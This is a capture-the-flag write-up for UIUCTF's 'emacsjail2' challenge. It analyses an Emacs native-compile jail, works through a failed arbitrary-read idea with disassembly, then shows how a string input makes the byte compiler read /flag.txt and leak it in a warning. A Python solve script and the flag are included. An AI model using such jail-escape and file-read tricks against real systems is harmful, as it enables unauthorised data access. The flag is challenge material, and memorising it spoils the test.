Logo
Overview

Challenge Description

The sacrifices we make in the name of performance…

Connect with: ncat --ssl emacsjail2.chal.uiuc.tf 1337

author: George

The handout is a Nix flake plus a challenge/ directory: challenge.el, jailer.zig, build.zig, entry.sh, and nsjail.cfg. Emacs 30.2, one line of input, and a Zig module that inspects the machine code your input compiles to.

Source Code Analysis

The Lisp side

challenge.el is short enough to read whole:

;;; -*- lexical-binding:t -*-
(require 'comp)
(require 'cl-lib)
(defun check (input)
(when-let* (((native-comp-function-p input))
(libjailer (expand-file-name (file-name-with-extension "jailer" module-file-suffix)))
(eln-file (native-comp-unit-file (subr-native-comp-unit input)))
(func-name (comp-c-func-name (subr-name input) "F" t)))
(module-load libjailer)
(jailer-check eln-file func-name)))
(defun panic (str &rest fmt)
(message str fmt)
(kill-emacs))
(let ((input (read-string "Input: ")))
(unless (length< input 4096)
(panic "input is too long"))
(let ((code (read-from-string input)))
(setq code (car code))
(let ((macro-whitelist '(comp--prepare-args-for-top-level lambda cl-declare)))
(mapatoms (lambda (a) (when (and (macrop a) (not (memq a macro-whitelist)))
(push (cons a #'ignore) byte-compile-initial-macro-environment)))))
(let ((compilation-safety 0)
(compiled (native-compile code (make-temp-file "emacsjail2"))))
(unless (check compiled) (panic "jailer does not approve of your program"))
(message "%s" (funcall compiled)))
(kill-emacs)))

Four things happen to your input:

  1. It is read with read-from-string, so you get one Lisp object, not a string of source.
  2. Every macro in the obarray except lambda, cl-declare, and comp--prepare-args-for-top-level is rebound to ignore in byte-compile-initial-macro-environment, which means every macro call in your code expands to nil. Special forms (if, let, while, progn, setq, catch) survive, because they are not macros.
  3. The object is handed to native-compile.
  4. The resulting function is inspected by the jailer, and only then called.

entry.sh is worth a look too, because of its last character:

#!/bin/sh
export PATH=$PATH:/bin
emacs --version
emacs -nl -nw -Q --batch -l challenge.el 2>&1

Standard error is folded into standard output, and socat hands both back over the TLS connection. Anything Emacs writes to stderr, we see.

The jailer

jailer.zig builds an Emacs module exposing one function, jailer-check:

fn check(filename: [:0]const u8, function_name: [:0]const u8) !bool {
const target, const dl = try findFunction(filename, function_name);
defer dl.deinit();
var insns: CapstoneInstIterator = try .init(target);
defer insns.deinit();
while (insns.next()) |insn| {
if (CapstoneInstIterator.controlFlowP(insn)) return false;
}
return true;
}

findFunction dlopens the .eln, resolves the symbol with dlsym for its runtime address, and walks the ELF symbol table for its st_size. Those bytes go through a capstone linear sweep, and a single instruction in the wrong group is fatal:

pub fn controlFlowP(insn: cap.cs_insn) bool {
for (insn.detail.*.groups[0..insn.detail.*.groups_count]) |g| {
switch (g) {
cap.CS_GRP_CALL, cap.CS_GRP_JUMP => return true,
else => {},
}
} else return false;
}

Only CS_GRP_CALL and CS_GRP_JUMP are rejected. ret is CS_GRP_RET, so returning is fine. The function under inspection is the one named by (comp-c-func-name (subr-name input) "F" t); for a form compiled by native-compile, subr-name is always --anonymous-lambda, which mangles to F2d2d616e6f6e796d6f75732d6c616d626461___anonymous_lambda_0 (the hex is just --anonymous-lambda byte by byte).

So the rule is: your code must compile to straight-line machine code. No function calls, no branches. (lambda () 1) compiles to exactly what you would hope:

0x1100 mov eax, 6 b806000000
0x1105 ret c3

6 is make_fixnum(1); Emacs tags fixnums as 4n + 2.

The Obvious Path, and Why It Fails

compilation-safety 0 in the source is a loud hint, and it lines up with the flavour text. Emacs’s native compiler carries two functions that exist purely to lie to the type inferencer:

;; WARNING: At speed >= 2 type checking is not performed anymore and suggestions
;; are assumed just to be true. Use with extreme caution...
(defun comp-hint-fixnum (x)
(declare (ftype (function (t) fixnum))
(gv-setter (lambda (val) `(setf ,x ,val))))
x)
(defun comp-hint-cons (x)
(declare (ftype (function (t) cons))
(gv-setter (lambda (val) `(setf ,x ,val))))
x)

These are plain functions, not macros, so the whitelist does not touch them. Forward propagation copies the declared return type onto the destination m-var, and then comp--remove-type-hints (which runs at native-comp-speed >= 2, and the default is 2) deletes the call while leaving the constraint behind. The compiler now believes an arbitrary value is a cons.

Whether that belief is acted on comes down to one boolean in src/comp.c:

static gcc_jit_rvalue *
emit_call_with_type_hint (gcc_jit_function *func, Lisp_Object insn,
Lisp_Object type)
{
bool hint_match =
!comp.func_safety
&& !NILP (CALL2I (comp-mvar-type-hint-match-p, SECOND (insn), type));
...
}

With hint_match true, the CAR helper collapses to a single load, because its CONSP test becomes a compile-time constant. Building the same lambda with the safety binding actually in effect gives an arbitrary read in two instructions:

0x1100 mov rax, qword ptr [rdi - 3] 488b47fd
0x1104 ret c3
[size=5 decoded=5 insns=2 control_flow=0] -> PASS

That is a jailer-approved arbitrary read primitive. Except it never happens here, because of the binding form:

(let ((compilation-safety 0)
(compiled (native-compile code (make-temp-file "emacsjail2"))))

That is let, not let*. Emacs evaluates every init form before installing any of the bindings, so native-compile runs while compilation-safety still holds its default of 1. make-comp-ctxt samples the variable at that moment and stores it in the compilation unit, so the whole unit is compiled at safety 1. Compiling the same lambda through the challenge’s exact let produces the checked version:

0x1100 lea eax, [rdi - 3] 8d47fd
0x1103 test al, 7 a807
0x1105 jne 0x1110 7509 <-- CS_GRP_JUMP
0x1107 mov rax, qword ptr [rdi - 3] 488b47fd
0x110b ret c3
...
0x1113 je 0x1140 742b <-- CS_GRP_JUMP
...
0x1131 call qword ptr [rax] ff10 <-- CS_GRP_CALL
[size=67 decoded=67 insns=21 control_flow=3] -> FAIL

The live service agrees:

Input: (lambda (&optional x) (car (comp-hint-cons x)))
jailer does not approve of your program

This closes the whole category. comp.c inlines exactly ten operations (car, cdr, setcar, setcdr, add1, sub1, negate, consp, integerp, numberp); car and cdr keep their CONSP branch at safety 1, setcar and setcdr emit an unconditional CHECK_CONS regardless of safety, and everything else in Emacs Lisp is a function call. A jump-free, call-free function at safety 1 can do essentially nothing but return a constant.

Which is the hint that the jailer is not the thing to beat.

The Vulnerability

Read native-compile’s own documentation:

(defun native-compile (function-or-file &optional output)
"Compile FUNCTION-OR-FILE into native code.
This is the synchronous entry-point for the Emacs Lisp native
compiler. FUNCTION-OR-FILE is a function symbol, a form, or the
filename of an Emacs Lisp source file. ...

It takes three kinds of argument, dispatched by a generic function:

(cl-defmethod comp--spill-lap-function ((function-name symbol)) ...)
(cl-defmethod comp--spill-lap-function ((form list)) ...)
(cl-defmethod comp--spill-lap-function ((filename string)) ...)

And challenge.el never checks which one it has. It takes whatever read-from-string produced and passes it straight through. Typing a string literal instead of a lambda selects the third method, whose body is (byte-compile-file filename).

The jailer still says no afterwards, because native-compile on a file returns the .eln path rather than a function, so (native-comp-function-p input) is nil and check falls through to panic. That does not matter at all: the file has already been compiled by then. Everything interesting happens before the check, and the check has no power to undo it.

So point the byte compiler at the flag. flag.txt contains something like uiuctf{...}, which is perfectly valid Emacs Lisp: a single symbol, appearing as a top-level form, referencing a variable that was never defined. The byte compiler has an opinion about that, and it names names.

Exploitation

The entire payload is one string literal:

"/flag.txt"

Sent to the service:

Input:
In toplevel form:
flag.txt:1:1: Warning: file has no `lexical-binding' directive on its first line
flag.txt:1:1: Warning: reference to free variable `uiuctf{7ry_f34rl3ss_c0ncurr3ncy_n3x7}'
jailer does not approve of your program

entry.sh merged stderr into the connection, so the warning comes back to us. The jailer’s rejection is the last line, and by then it is only commentary.

Solve Script

#!/usr/bin/env python3
import re
import socket
import ssl
import sys
HOST, PORT = "emacsjail2.chal.uiuc.tf", 1337
PAYLOAD = b'"/flag.txt"\n'
def main():
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(socket.create_connection((HOST, PORT), timeout=120),
server_hostname=HOST)
buf = b""
while b"Input:" not in buf:
chunk = sock.recv(4096)
if not chunk:
sys.exit("connection closed before prompt")
buf += chunk
sock.sendall(PAYLOAD)
sock.settimeout(60)
out = b""
while True:
try:
chunk = sock.recv(4096)
except socket.timeout:
break
if not chunk:
break
out += chunk
if b"jailer does not approve" in out:
break
sys.stdout.write(out.decode("latin1"))
flag = re.search(rb"uiuctf\{[^}]*\}", out)
print("\n[+] flag:", flag.group().decode() if flag else "not found")
if __name__ == "__main__":
main()

Flag

uiuctf{7ry_f34rl3ss_c0ncurr3ncy_n3x7}